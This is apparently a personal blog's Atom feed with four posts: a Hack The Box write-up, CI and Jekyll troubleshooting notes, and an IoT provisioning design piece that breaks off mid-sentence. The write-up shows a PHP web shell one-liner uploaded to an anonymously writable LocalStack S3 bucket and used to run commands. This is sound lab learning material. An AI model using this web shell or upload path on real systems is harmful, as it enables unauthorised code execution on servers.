<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://steffensens.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://steffensens.io/" rel="alternate" type="text/html" /><updated>2026-06-04T10:32:04+02:00</updated><id>https://steffensens.io/feed.xml</id><title type="html">Elliot Steffensen</title><subtitle>Computer engineering at KTH. Writing on embedded systems, security, and the occasional offshore race.</subtitle><author><name>Elliot Steffensen</name><email>elliot@steffensens.io</email></author><entry><title type="html">The vhost ffuf missed</title><link href="https://steffensens.io/blog/2026/the-vhost-ffuf-missed/" rel="alternate" type="text/html" title="The vhost ffuf missed" /><published>2026-05-27T00:00:00+02:00</published><updated>2026-05-27T00:00:00+02:00</updated><id>https://steffensens.io/blog/2026/the-vhost-ffuf-missed</id><content type="html" xml:base="https://steffensens.io/blog/2026/the-vhost-ffuf-missed/"><![CDATA[<p><code class="language-plaintext highlighter-rouge">three</code> is an HTB Starting Point Tier 1 box. Single flag, no privesc.
The exploitable thing is a LocalStack S3 endpoint on a vhost, with an
anonymously-writable bucket that backs Apache’s document root. Upload
PHP, request it, read <code class="language-plaintext highlighter-rouge">/var/www/flag.txt</code>.</p>

<p>That’s the box. The part worth writing about is that my ffuf vhost
profile missed the hit, and <code class="language-plaintext highlighter-rouge">subdomains-top1million-20000.txt</code> had
<code class="language-plaintext highlighter-rouge">s3</code> sitting on line 247.</p>

<h2 id="the-setup">The setup</h2>

<p>nmap top-1000 returns 22/ssh and 80/http. The web root is a band
landing page for “The Toppers,” generated by <code class="language-plaintext highlighter-rouge">/index.php</code>. ffuf
against <code class="language-plaintext highlighter-rouge">raft-medium-directories.txt</code> finds nothing interesting.</p>

<p>The footer of the landing page has a mail address:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mail@thetoppers.htb
</code></pre></div></div>

<p>That’s the pivot. Without that string the box has nothing visible to
chew on; there’s no hidden subdomain to guess at, only one the page
itself names.</p>

<p>The Starting Point task pane is also handing out the shape of the
answer:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Which sub-domain is discovered during further enumeration?
&gt; **.*********.***
</code></pre></div></div>

<p>Two characters, then <code class="language-plaintext highlighter-rouge">thetoppers.htb</code>. The search space collapses to
roughly the 2-letter row of any common subdomain list, which makes
ffuf’s failure later look worse, not better.</p>

<h2 id="ffuf-says-no">ffuf says no</h2>

<p>I dropped <code class="language-plaintext highlighter-rouge">thetoppers.htb</code> into <code class="language-plaintext highlighter-rouge">/etc/hosts</code>, ran my vhost profile
against <code class="language-plaintext highlighter-rouge">subdomains-top1million-20000.txt</code>, filtered by size against
the default-site baseline of 11952 bytes.</p>

<p>Empty CSV.</p>

<p>I abandoned the tool and threw the obvious shortlist at it by hand:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for </span>sub <span class="k">in </span>s3 dev www admin mail api<span class="p">;</span> <span class="k">do
  </span><span class="nv">size</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="nt">-H</span> <span class="s2">"Host: </span><span class="nv">$sub</span><span class="s2">.thetoppers.htb"</span> http://&lt;box-ip&gt;/ | <span class="nb">wc</span> <span class="nt">-c</span><span class="si">)</span>
  <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$sub</span><span class="s2">.thetoppers.htb -&gt; </span><span class="nv">$size</span><span class="s2"> bytes"</span>
<span class="k">done</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>s3.thetoppers.htb -&gt; 21 bytes
dev.thetoppers.htb -&gt; 11952 bytes
www.thetoppers.htb -&gt; 11952 bytes
admin.thetoppers.htb -&gt; 11952 bytes
mail.thetoppers.htb -&gt; 11952 bytes
api.thetoppers.htb -&gt; 11952 bytes
</code></pre></div></div>

<p>Most don’t match the 2-char mask. I threw the longer ones in out of
habit. 21 bytes is <code class="language-plaintext highlighter-rouge">{"status": "running"}</code> plus a newline. Different
host, different service.</p>

<p>Going back to ask whether ffuf had had a fair chance:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ grep -nx s3 subdomains-top1million-20000.txt
247:s3
</code></pre></div></div>

<p>Line 247. I’ll come back to that.</p>

<h2 id="the-21-byte-service">The 21-byte service</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -sI -H "Host: s3.thetoppers.htb" http://&lt;box-ip&gt;/
HTTP/1.1 200 OK
Server: hypercorn-h11
Access-Control-Allow-Headers: ...,x-localstack-target,...
Access-Control-Allow-Methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
</code></pre></div></div>

<p>Two tells. <code class="language-plaintext highlighter-rouge">hypercorn-h11</code> is the Python ASGI server LocalStack runs
on. <code class="language-plaintext highlighter-rouge">x-localstack-target</code> in the CORS allowlist is the giveaway you
don’t need to look up; nothing else uses that header. The full S3 verb
set on <code class="language-plaintext highlighter-rouge">Access-Control-Allow-Methods</code> is the bonus hint.</p>

<p>LocalStack is an AWS service emulator built for local dev. It does
not authenticate anything. Point the AWS CLI at it with any dummy
creds and it works:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>aws configure  <span class="c"># any access key, any secret, region us-east-1</span>
<span class="nv">$ </span>aws <span class="nt">--endpoint-url</span> http://s3.thetoppers.htb s3 <span class="nb">ls
</span>2026-05-27 15:37:47 thetoppers.htb
</code></pre></div></div>

<p>One bucket. Name matches the vhost. That’s the design clue: a bucket
named after the site almost certainly backs the document root.</p>

<h2 id="the-exploit-such-as-it-is">The exploit, such as it is</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'&lt;?php system($_GET["c"]); ?&gt;'</span> <span class="o">&gt;</span> shell.php
<span class="nv">$ </span>aws <span class="nt">--endpoint-url</span> http://s3.thetoppers.htb s3 <span class="nb">cp </span>shell.php s3://thetoppers.htb/shell.php
<span class="nv">$ </span>curl <span class="s1">'http://thetoppers.htb/shell.php?c=id'</span>
<span class="nv">uid</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span>
<span class="nv">$ </span>curl <span class="s1">'http://thetoppers.htb/shell.php?c=cat+/var/www/flag.txt'</span>
</code></pre></div></div>

<p>Flag captured. There’s no root flag on this one.</p>

<p>(The box is called <code class="language-plaintext highlighter-rouge">three</code>. The exploit is S3. I missed that until I
sat down to write this up.)</p>

<h2 id="what-this-box-teaches">What this box teaches</h2>

<p>Any response header is a fingerprint. <code class="language-plaintext highlighter-rouge">Access-Control-Allow-Headers</code>
in particular tends to name vendor-specific extension headers that
ID the service without needing a tool. If I’d been less sleepy I
would have skipped the AWS-CLI dance and grepped the CORS allowlist
for <code class="language-plaintext highlighter-rouge">localstack</code>.</p>

<p>As for the ffuf wrapper: I have no good story for why it missed.
The size filter should have flagged anything that wasn’t the
11952-byte default. My best guess is the status-code allowlist in
my wrapper (<code class="language-plaintext highlighter-rouge">200,301,302,401,403</code>); the actual response code is
probably something I didn’t include. The clean fix is
<code class="language-plaintext highlighter-rouge">-mc all -fs 11952</code> instead of an explicit status list. I haven’t
sat down with the profile yet to confirm.</p>

<p>I’ll fix it before the next box. Probably.</p>]]></content><author><name>Elliot Steffensen</name><email>elliot@steffensens.io</email></author><category term="htb" /><category term="ctf" /><category term="vhost-enum" /><category term="localstack" /><category term="s3" /><summary type="html"><![CDATA[First HTB writeup, an easy box where the automated vhost enum returned clean and a ten-line bash loop found the LocalStack S3.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://steffensens.io/og/the-vhost-ffuf-missed.png" /><media:content medium="image" url="https://steffensens.io/og/the-vhost-ffuf-missed.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Why release-please went quiet on my first tag</title><link href="https://steffensens.io/blog/2026/release-please-traps/" rel="alternate" type="text/html" title="Why release-please went quiet on my first tag" /><published>2026-05-26T00:00:00+02:00</published><updated>2026-05-26T00:00:00+02:00</updated><id>https://steffensens.io/blog/2026/release-please-traps</id><content type="html" xml:base="https://steffensens.io/blog/2026/release-please-traps/"><![CDATA[<p>Adopted release-please on a Python project to handle versioning and
the CHANGELOG. The action ran on every push to main, but no release
PR appeared. When the PR did appear, merging it didn’t cut a tag.
When the tag finally cut, the downstream publish workflow refused to
run.</p>

<p>Three traps in a row. All silent — green checks, empty results. The
diffs that fixed each are small.</p>

<h2 id="trap-1-bootstrap-sha-that-points-at-a-recent-commit">Trap 1: bootstrap-sha that points at a recent commit</h2>

<p>The first config tried to use <code class="language-plaintext highlighter-rouge">bootstrap-sha</code> to ignore pre-adoption
history:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"bootstrap-sha"</span><span class="p">:</span><span class="w"> </span><span class="s2">"550fecc5e848d33dabfb0f680fe9c6d5e57d53c1"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"packages"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"."</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"release-type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"python"</span><span class="w"> </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">bootstrap-sha</code> tells release-please: “for the initial release PR,
treat commits since this SHA as the release scope.” Sensible if your
repo has years of history and you only want to release from now on.</p>

<p>The trap: if <code class="language-plaintext highlighter-rouge">bootstrap-sha</code> is set on <em>every</em> run rather than just
the bootstrap, release-please uses it as a hard floor forever. On
later runs, if your last tag is past the bootstrap-sha (which it is,
since you’ve now released), the bot sees no new commits worth
releasing and silently does nothing. No error, no warning. Just a
happy “ran successfully” green check and an empty Actions tab.</p>

<p>Fix: delete the line. release-please uses the last tag as the lower
bound after the initial release.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code> {
<span class="gd">-  "bootstrap-sha": "550fecc...",
</span>   "packages": { ".": { "release-type": "python" } }
 }
</code></pre></div></div>

<p>Release PR appeared on the next push.</p>

<h2 id="trap-2-package-name-on-a-single-package-repo">Trap 2: package-name on a single-package repo</h2>

<p>The release PR opened, but the branch was named
<code class="language-plaintext highlighter-rouge">release-please--branches--main--components--&lt;name&gt;--</code>, with the
trailing component segment. Merging produced no tag.</p>

<p>The config had:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"packages"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"."</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"release-type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"python"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"package-name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"&lt;name&gt;"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"include-component-in-tag"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">package-name</code> is the package’s published name. release-please uses
it as the <em>component</em> in branch names, tag templates, and changelog
headings — built for monorepos where multiple packages release
independently.</p>

<p>On a single-package repo, the component-in-branch convention doesn’t
match the standalone tag scheme. <code class="language-plaintext highlighter-rouge">include-component-in-tag: false</code>
prevents the tag from getting the prefix, but the <em>branch</em> name still
carries the component, and release-please’s reconciliation expects a
branch <em>without</em> the component when component-in-tag is off.</p>

<p>Result: the bot opened a PR, merged it, then couldn’t find its own
release artifact to tag against. Silent again.</p>

<p>Fix: drop <code class="language-plaintext highlighter-rouge">package-name</code>. release-please uses the directory key
(<code class="language-plaintext highlighter-rouge">.</code>) as the implicit component with no suffix.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code> "packages": {
   ".": {
     "release-type": "python",
<span class="gd">-    "package-name": "&lt;name&gt;",
</span>     "include-component-in-tag": false
   }
 }
</code></pre></div></div>

<p>The tag cut on the next merged release PR.</p>

<h2 id="trap-3-github_token-releases-dont-fire-releasepublished">Trap 3: GITHUB_TOKEN releases don’t fire <code class="language-plaintext highlighter-rouge">release.published</code></h2>

<p>Tag cut, release object created on GitHub, downstream publish
workflow still didn’t run.</p>

<p>The publish workflow was wired to GitHub’s recommended trigger:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">on</span><span class="pi">:</span>
  <span class="na">release</span><span class="pi">:</span>
    <span class="na">types</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">published</span><span class="pi">]</span>
</code></pre></div></div>

<p>This is a documented GitHub quirk: a workflow run authenticated with
<code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code> cannot trigger another workflow run. It’s a
loop-prevention guard, and <code class="language-plaintext highlighter-rouge">release-please-action</code> uses
<code class="language-plaintext highlighter-rouge">GITHUB_TOKEN</code> by default. The release object lands, the
<code class="language-plaintext highlighter-rouge">release.published</code> event fires, but no workflow picks it up.</p>

<p>The official advice is “use a Personal Access Token instead.” Works,
but introduces a PAT to rotate and a security boundary I’d rather
not maintain for one workflow.</p>

<p>The fix that doesn’t need a PAT: chain the workflows explicitly via
<code class="language-plaintext highlighter-rouge">workflow_call</code> in the same job graph.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">jobs</span><span class="pi">:</span>
  <span class="na">release-please</span><span class="pi">:</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">ubuntu-latest</span>
    <span class="na">outputs</span><span class="pi">:</span>
      <span class="na">release_created</span><span class="pi">:</span> <span class="s">${{ steps.rp.outputs.release_created }}</span>
      <span class="na">tag_name</span><span class="pi">:</span> <span class="s">${{ steps.rp.outputs.tag_name }}</span>
    <span class="na">steps</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">googleapis/release-please-action@v4</span>
        <span class="na">id</span><span class="pi">:</span> <span class="s">rp</span>

  <span class="na">publish</span><span class="pi">:</span>
    <span class="na">needs</span><span class="pi">:</span> <span class="s">release-please</span>
    <span class="na">if</span><span class="pi">:</span> <span class="s">${{ needs.release-please.outputs.release_created == 'true' }}</span>
    <span class="na">uses</span><span class="pi">:</span> <span class="s">./.github/workflows/publish-schemas.yml</span>
    <span class="na">with</span><span class="pi">:</span>
      <span class="na">tag</span><span class="pi">:</span> <span class="s">${{ needs.release-please.outputs.tag_name }}</span>
    <span class="na">secrets</span><span class="pi">:</span> <span class="s">inherit</span>
</code></pre></div></div>

<p>The downstream workflow becomes <code class="language-plaintext highlighter-rouge">workflow_call</code>-capable:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">on</span><span class="pi">:</span>
  <span class="na">workflow_call</span><span class="pi">:</span>
    <span class="na">inputs</span><span class="pi">:</span>
      <span class="na">tag</span><span class="pi">:</span>
        <span class="na">required</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">type</span><span class="pi">:</span> <span class="s">string</span>
</code></pre></div></div>

<p>Same file, same secrets, no PAT. release-please runs, publish runs as
its dependent in the same job graph, the cross-workflow trigger
restriction never applies because there isn’t one to trigger.</p>

<p>All three failures were silent. The action exited green, the release
PR looked right, the tag appeared — and yet the next thing didn’t
happen. The failure mode for an automation tool is rarely “throws”;
it’s “succeeds but doesn’t do the thing.”</p>

<p>Worth adding a five-second smoke check after each automation step:
did the artifact you expected actually land? For release-please,
that’s “did the publish workflow run show up in the Actions tab for
the right tag?” For a tag cut, it’s <code class="language-plaintext highlighter-rouge">git fetch &amp;&amp; git tag --list</code>
locally. Both would have caught all three of these before the next
push pinned the wrong assumption.</p>]]></content><author><name>Elliot Steffensen</name><email>elliot@steffensens.io</email></author><category term="ci" /><category term="github-actions" /><category term="release-please" /><summary type="html"><![CDATA[Three traps adopting release-please on a Python repo — bootstrap-sha, package-name, and the trigger that never fires. Each fix is a one-line config delete or a workflow restructure.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://steffensens.io/og/release-please-traps.png" /><media:content medium="image" url="https://steffensens.io/og/release-please-traps.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Jekyll, Ruby 4, and a `tainted?` that isn’t anymore</title><link href="https://steffensens.io/blog/2026/jekyll-on-ruby-4/" rel="alternate" type="text/html" title="Jekyll, Ruby 4, and a `tainted?` that isn’t anymore" /><published>2026-05-25T00:00:00+02:00</published><updated>2026-05-25T00:00:00+02:00</updated><id>https://steffensens.io/blog/2026/jekyll-on-ruby-4</id><content type="html" xml:base="https://steffensens.io/blog/2026/jekyll-on-ruby-4/"><![CDATA[<p>I wanted a Jekyll blog under this site. Followed the github-pages
recipe, ran <code class="language-plaintext highlighter-rouge">bundle install</code>, ran <code class="language-plaintext highlighter-rouge">bundle exec jekyll serve</code>. Got this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/opt/homebrew/lib/ruby/gems/4.0.0/gems/jekyll-3.9.0/lib/jekyll.rb:28:
  warning: csv used to be loaded from the standard library, but is
  not part of the default gems since Ruby 3.4.0.
cannot load such file -- csv (LoadError)
</code></pre></div></div>

<p>Add <code class="language-plaintext highlighter-rouge">gem "csv"</code> to the Gemfile, re-bundle, run again:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Liquid Exception: undefined method 'tainted?' for an instance of
  String in /_layouts/post.html
</code></pre></div></div>

<p>Liquid 4.0.3 calling <code class="language-plaintext highlighter-rouge">obj.tainted?</code> on a string. Ruby 4 removed
<code class="language-plaintext highlighter-rouge">String#tainted?</code> (deprecated 2.7, removed 3.2). The Liquid version
pinned by the <code class="language-plaintext highlighter-rouge">github-pages</code> gem was from 2022 and never picked up
the fix.</p>

<p>The recipe says “just use github-pages” and there’s no version knob.
The gem locks Jekyll 3.9, Liquid 4.0.3, and a stack of plugins to
whatever GitHub’s hosted builder runs. If your local Ruby is newer
than that stack, you get bit-rot like this.</p>

<h2 id="what-github-pages-actually-is">What “github-pages” actually is</h2>

<p>It’s not Jekyll. It’s a gem that vendors a specific snapshot of Jekyll</p>
<ul>
  <li>plugins, so the local build matches what GitHub’s hosted builder
will produce. The whole point is reproducibility against an old
server.</li>
</ul>

<p>The cost: you can’t upgrade Jekyll independently. When Ruby moves
forward and the pinned Liquid breaks, you’re stuck.</p>

<h2 id="the-fix-is-to-stop-using-the-gem">The fix is to stop using the gem</h2>

<p>GitHub Pages can deploy from a GitHub Actions workflow instead of
its built-in builder. That lets you pick your own Jekyll version.</p>

<p><code class="language-plaintext highlighter-rouge">.github/workflows/pages.yml</code>:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">name</span><span class="pi">:</span> <span class="s">Build and deploy Jekyll</span>

<span class="na">on</span><span class="pi">:</span>
  <span class="na">push</span><span class="pi">:</span>
    <span class="na">branches</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">main</span><span class="pi">]</span>
  <span class="na">workflow_dispatch</span><span class="pi">:</span>

<span class="na">permissions</span><span class="pi">:</span>
  <span class="na">contents</span><span class="pi">:</span> <span class="s">read</span>
  <span class="na">pages</span><span class="pi">:</span> <span class="s">write</span>
  <span class="na">id-token</span><span class="pi">:</span> <span class="s">write</span>

<span class="na">jobs</span><span class="pi">:</span>
  <span class="na">build</span><span class="pi">:</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">ubuntu-latest</span>
    <span class="na">steps</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/checkout@v4</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">ruby/setup-ruby@v1</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">ruby-version</span><span class="pi">:</span> <span class="s2">"</span><span class="s">3.3"</span>
          <span class="na">bundler-cache</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/configure-pages@v5</span>
      <span class="pi">-</span> <span class="na">run</span><span class="pi">:</span> <span class="s">bundle exec jekyll build</span>
        <span class="na">env</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">JEKYLL_ENV</span><span class="pi">:</span> <span class="nv">production</span> <span class="pi">}</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/upload-pages-artifact@v3</span>
        <span class="na">with</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">path</span><span class="pi">:</span> <span class="nv">_site</span> <span class="pi">}</span>

  <span class="na">deploy</span><span class="pi">:</span>
    <span class="na">needs</span><span class="pi">:</span> <span class="s">build</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">ubuntu-latest</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">name</span><span class="pi">:</span> <span class="s">github-pages</span>
      <span class="na">url</span><span class="pi">:</span> <span class="s">$</span>
    <span class="na">steps</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">id</span><span class="pi">:</span> <span class="s">deployment</span>
        <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/deploy-pages@v4</span>
</code></pre></div></div>

<p>Then a Gemfile that drops the gem and asks for Jekyll directly:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">source</span> <span class="s2">"https://rubygems.org"</span>

<span class="n">gem</span> <span class="s2">"jekyll"</span><span class="p">,</span> <span class="s2">"~&gt; 4.3"</span>
<span class="n">gem</span> <span class="s2">"kramdown-parser-gfm"</span>

<span class="n">group</span> <span class="ss">:jekyll_plugins</span> <span class="k">do</span>
  <span class="n">gem</span> <span class="s2">"jekyll-feed"</span>
  <span class="n">gem</span> <span class="s2">"jekyll-seo-tag"</span>
  <span class="n">gem</span> <span class="s2">"jekyll-sitemap"</span>
<span class="k">end</span>

<span class="c1"># Ruby 3.4+ moved these out of default gems</span>
<span class="n">gem</span> <span class="s2">"csv"</span>
<span class="n">gem</span> <span class="s2">"base64"</span>
<span class="n">gem</span> <span class="s2">"bigdecimal"</span>
<span class="n">gem</span> <span class="s2">"logger"</span>
<span class="n">gem</span> <span class="s2">"ostruct"</span>
<span class="n">gem</span> <span class="s2">"webrick"</span>
</code></pre></div></div>

<p>One repo setting to flip: Settings → Pages → Source: <strong>GitHub
Actions</strong> (not “Deploy from branch”). Otherwise the hosted builder
ignores the workflow and rebuilds with the old Jekyll.</p>

<p>The build runs in CI in 30 seconds now. Local preview still uses my
homebrew Ruby 4, and Jekyll 4 doesn’t mind it because Liquid 5 long
since gave up on <code class="language-plaintext highlighter-rouge">tainted?</code>. The github-pages gem exists to keep the
local build in sync with GitHub’s hosted builder — the moment you’ve
taken over the builder, it stops earning its keep.</p>]]></content><author><name>Elliot Steffensen</name><email>elliot@steffensens.io</email></author><category term="jekyll" /><category term="ruby" /><category term="github-pages" /><category term="blog" /><summary type="html"><![CDATA[How `github-pages` pinned me to a Liquid that bit-rotted, and why the fix was to drop the gem entirely and build with GitHub Actions.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://steffensens.io/og/jekyll-on-ruby-4.png" /><media:content medium="image" url="https://steffensens.io/og/jekyll-on-ruby-4.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Authentication doesn’t belong on the sticker</title><link href="https://steffensens.io/blog/2026/authentication-not-on-the-sticker/" rel="alternate" type="text/html" title="Authentication doesn’t belong on the sticker" /><published>2026-05-17T00:00:00+02:00</published><updated>2026-05-17T00:00:00+02:00</updated><id>https://steffensens.io/blog/2026/authentication-not-on-the-sticker</id><content type="html" xml:base="https://steffensens.io/blog/2026/authentication-not-on-the-sticker/"><![CDATA[<p>Each DockPulse sensor ships with a sticker. Operators scan it during
provisioning to bind the board to a specific berth. The first
version of that sticker was a COSE_Sign1 Ed25519-signed claim,
base45-encoded, sitting at QR version 17 (85×85 modules). The
shipping version is plaintext <code class="language-plaintext highlighter-rouge">SERIAL:HEX</code>, version 3 (29×29
modules).</p>

<p>The smaller QR is a side effect. The actual fix was realizing the
sticker was in the wrong place to authenticate anything.</p>

<h2 id="what-the-sticker-started-as">What the sticker started as</h2>

<p>The original sticker payload was the European Digital COVID
Certificate recipe scaled down: a CBOR-encoded claim with the
device UUID, the OOB key, a JTI for replay protection, and an
expiry. Signed by a factory Ed25519 key, then base45-encoded so it
could go through a QR scanner without binary mode.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>COSE_Sign1(claim) → base45 → ~190-char QR string
</code></pre></div></div>

<p>It worked. The backend held the public half of the factory key and
verified the signature on adoption. Forging a sticker required
gaining write access to the offline factory key — strong property.</p>

<p>Two problems:</p>

<ul>
  <li>A v17 QR on a 25 mm round sticker is a dense code. A phone camera
in mediocre dock lighting needs three tries.</li>
  <li>I was about to start managing a factory key. For a school
project. Generation script, secure storage, distribution between
team members, rotation when one of us inevitably committed it.</li>
</ul>

<h2 id="the-realization">The realization</h2>

<p>The adoption flow does two things: it identifies <em>which</em> device
this is, and it authenticates that the device is <em>genuine</em>. I’d
put both jobs on the sticker.</p>

<p>A signed sticker is a credible identity proof, but it’s not
authentication of the board. The board doesn’t sign the claim; the
factory does. A photograph of the sticker is just as valid as the
original. The signature only proves “this row was issued by us at
some point” — not “the radio you’re talking to right now is the
one the sticker belongs to.”</p>

<p>Board authentication actually happens later, inside the BLE Mesh
PB-ADV handshake, using a static OOB key burned into the device’s
<code class="language-plaintext highlighter-rouge">factory_nvs</code> partition at flash time. That OOB is the value an
attacker can’t recover from a sticker photo.</p>

<p>So the sticker doesn’t need to be unforgeable. It needs to be a
lookup key — like a HomeKit or Matter setup code: a name plus a
nonce.</p>

<h2 id="dropping-the-signature">Dropping the signature</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sticker = serial + ":" + jti
</code></pre></div></div>

<p>The backend stores <code class="language-plaintext highlighter-rouge">serial → {uuid, oob, jti, exp}</code>. Adoption is:</p>

<ol>
  <li>Scan sticker. Get <code class="language-plaintext highlighter-rouge">serial:jti</code>.</li>
  <li>Look up row by <code class="language-plaintext highlighter-rouge">serial</code>.</li>
  <li>Check <code class="language-plaintext highlighter-rouge">jti</code> matches, <code class="language-plaintext highlighter-rouge">exp</code> is in the future. (Replay protection.)</li>
  <li>Run PB-ADV with the OOB. The board cryptographically proves it
has the key.</li>
</ol>

<p>A forged sticker fails at step 3 because the JTI won’t match.
Photographing a real sticker and trying to adopt against a
different board fails at step 4 because the impostor board doesn’t
have the OOB.</p>

<p>The signature would have proved step 1 came from us. PB-ADV proves
step 4 came from the right board. Step 4 is the harder property
and the one that matters. Step 1 was theatre.</p>

<p>This dropped 53 lines from <code class="language-plaintext highlighter-rouge">factory-flash.py</code>, deleted
<code class="language-plaintext highlighter-rouge">factory-keygen.sh</code> entirely, and removed the <code class="language-plaintext highlighter-rouge">cbor2</code> and <code class="language-plaintext highlighter-rouge">base45</code>
dependencies.</p>

<h2 id="shrinking-the-qr-further">Shrinking the QR further</h2>

<p>Going from a signed blob to <code class="language-plaintext highlighter-rouge">SERIAL:UUID</code> cut the payload roughly
in half, but the QR was still bigger than I wanted because
<code class="language-plaintext highlighter-rouge">uuid4()</code> returns lowercase hex.</p>

<p>QR codes have four encoding modes. Numeric, alphanumeric, byte, and
Kanji. Alphanumeric is roughly 5.5 bits/char versus byte mode’s 8
bits/char — a 30% size advantage — but its character set is only
<code class="language-plaintext highlighter-rouge">0-9</code>, <code class="language-plaintext highlighter-rouge">A-Z</code>, space, and <code class="language-plaintext highlighter-rouge">$%*+-./:</code>. Lowercase letters aren’t in
the set. A lowercase UUID forces byte mode.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">-</span><span class="n">jti</span> <span class="o">=</span> <span class="nf">str</span><span class="p">(</span><span class="n">_uuid</span><span class="p">.</span><span class="nf">uuid4</span><span class="p">())</span>
<span class="o">+</span><span class="n">jti</span> <span class="o">=</span> <span class="n">secrets</span><span class="p">.</span><span class="nf">token_hex</span><span class="p">(</span><span class="mi">8</span><span class="p">).</span><span class="nf">upper</span><span class="p">()</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">secrets.token_hex(8)</code> gives 16 hex chars; <code class="language-plaintext highlighter-rouge">.upper()</code> puts them in
the alphanumeric set. 64-bit collision probability hits 50% around
<code class="language-plaintext highlighter-rouge">2^32</code> stickers — past anything DockPulse will ship. The serial
format was already uppercase (<code class="language-plaintext highlighter-rouge">DP-N-000123</code>), so the full payload
encodes cleanly in alphanumeric mode:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DP-N-000123:7F3A9C2B1E4D5F60
</code></pre></div></div>

<p>29 characters, alphanumeric mode, version 3 QR at ECC level L.
Scans first try even in dock lighting.</p>

<h2 id="where-the-security-ended-up">Where the security ended up</h2>

<p>Nothing got weaker. The auth boundary moved from “operator scans a
